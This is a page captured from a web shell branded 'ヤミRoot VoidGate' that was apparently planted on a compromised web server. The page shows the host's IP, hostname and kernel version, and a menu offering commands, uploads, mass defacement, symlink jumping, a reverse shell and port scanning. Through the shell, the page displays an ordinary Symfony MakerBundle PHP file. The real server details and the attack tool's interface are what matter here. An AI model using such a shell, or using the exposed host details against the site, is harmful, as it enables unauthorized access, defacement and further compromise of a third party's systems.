ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
maker-bundle
/
src
/
Doctrine
/
Viewing: EntityClassGenerator.php
<?php /* * This file is part of the Symfony MakerBundle package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\MakerBundle\Doctrine; use ApiPlatform\Metadata\ApiResource; use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository; use Doctrine\ORM\Mapping; use Doctrine\Persistence\ManagerRegistry; use Symfony\Bundle\MakerBundle\Generator; use Symfony\Bundle\MakerBundle\Str; use Symfony\Bundle\MakerBundle\Util\ClassNameDetails; use Symfony\Bundle\MakerBundle\Util\UseStatementGenerator; use Symfony\Component\Security\Core\Exception\UnsupportedUserException; use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; use Symfony\Component\Security\Core\User\PasswordUpgraderInterface; use Symfony\Component\Security\Core\User\UserInterface; use Symfony\UX\Turbo\Attribute\Broadcast; /** * @internal */ final class EntityClassGenerator { private $generator; private $doctrineHelper; public function __construct(Generator $generator, DoctrineHelper $doctrineHelper) { $this->generator = $generator; $this->doctrineHelper = $doctrineHelper; } public function generateEntityClass(ClassNameDetails $entityClassDetails, bool $apiResource, bool $withPasswordUpgrade = false, bool $generateRepositoryClass = true, bool $broadcast = false): string { $repoClassDetails = $this->generator->createClassNameDetails( $entityClassDetails->getRelativeName(), 'Repository\\', 'Repository' ); $tableName = $this->doctrineHelper->getPotentialTableName($entityClassDetails->getFullName()); $useStatements = new UseStatementGenerator([ $repoClassDetails->getFullName(), [Mapping::class => 'ORM'], ]); if ($broadcast) { $useStatements->addUseStatement(Broadcast::class); } if ($apiResource) { // @legacy Drop annotation class when annotations are no longer supported. $useStatements->addUseStatement(class_exists(ApiResource::class) ? ApiResource::class : \ApiPlatform\Core\Annotation\ApiResource::class); } $entityPath = $this->generator->generateClass( $entityClassDetails->getFullName(), 'doctrine/Entity.tpl.php', [ 'use_statements' => $useStatements, 'repository_class_name' => $repoClassDetails->getShortName(), 'api_resource' => $apiResource, 'broadcast' => $broadcast, 'should_escape_table_name' => $this->doctrineHelper->isKeyword($tableName), 'table_name' => $tableName, 'doctrine_use_attributes' => $this->doctrineHelper->isDoctrineSupportingAttributes() && $this->doctrineHelper->doesClassUsesAttributes($entityClassDetails->getFullName()), ] ); if ($generateRepositoryClass) { $this->generateRepositoryClass( $repoClassDetails->getFullName(), $entityClassDetails->getFullName(), $withPasswordUpgrade, true ); } return $entityPath; } public function generateRepositoryClass(string $repositoryClass, string $entityClass, bool $withPasswordUpgrade, bool $includeExampleComments = true): void { $shortEntityClass = Str::getShortClassName($entityClass); $entityAlias = strtolower($shortEntityClass[0]); $passwordUserInterfaceName = UserInterface::class; if (interface_exists(PasswordAuthenticatedUserInterface::class)) { $passwordUserInterfaceName = PasswordAuthenticatedUserInterface::class; } $interfaceClassNameDetails = new ClassNameDetails($passwordUserInterfaceName, 'Symfony\Component\Security\Core\User'); $useStatements = new UseStatementGenerator([ $entityClass, ManagerRegistry::class, ServiceEntityRepository::class, ]); if ($withPasswordUpgrade) { $useStatements->addUseStatement([ $interfaceClassNameDetails->getFullName(), PasswordUpgraderInterface::class, UnsupportedUserException::class, ]); } $this->generator->generateClass( $repositoryClass, 'doctrine/Repository.tpl.php', [ 'use_statements' => $useStatements, 'entity_class_name' => $shortEntityClass, 'entity_alias' => $entityAlias, 'with_password_upgrade' => $withPasswordUpgrade, 'password_upgrade_user_interface' => $interfaceClassNameDetails, 'include_example_comments' => $includeExampleComments, ] ); } }
Coded With 💗 by
0x6ick